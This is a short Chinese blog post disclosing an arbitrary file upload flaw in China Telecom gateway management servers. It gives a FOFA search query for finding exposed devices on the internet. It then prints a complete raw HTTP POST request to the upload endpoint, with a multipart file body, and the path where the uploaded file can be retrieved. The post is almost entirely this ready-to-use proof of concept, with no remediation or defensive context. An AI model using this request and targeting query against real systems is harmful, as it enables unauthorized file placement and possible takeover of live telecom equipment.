中国电信网关管理服务器存在任意文件上传

最新推荐文章于 2024-06-16 16:11:03 发布

Chips.

最新推荐文章于 2024-06-16 16:11:03 发布

阅读量554

点赞数 2

文章标签：服务器 java 运维

本文链接：https://blog.csdn.net/qq_20737293/article/details/131136362

版权

fofa语法：

"img/login_bg3.png" && "系统登录"

POST /manager/teletext/material/upload.php?type=img&w=1280&h=720&userid=1&appid=12&uploadtime=123 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------121377840729982878473601621112
Connection: close
Cookie: PHPSESSID=qrekj3sn7otjvnmq8vhoshjsg0
Upgrade-Insecure-Requests: 1
Content-Length: 233

-----------------------------121377840729982878473601621112
Content-Disposition: form-data; name="fileToUpload"; filename="133.txt"
Content-Type: image/png

1233456
-----------------------------121377840729982878473601621112

访问：

http://xx.xx.xx.xx:xx/xmedia//material//123133.txt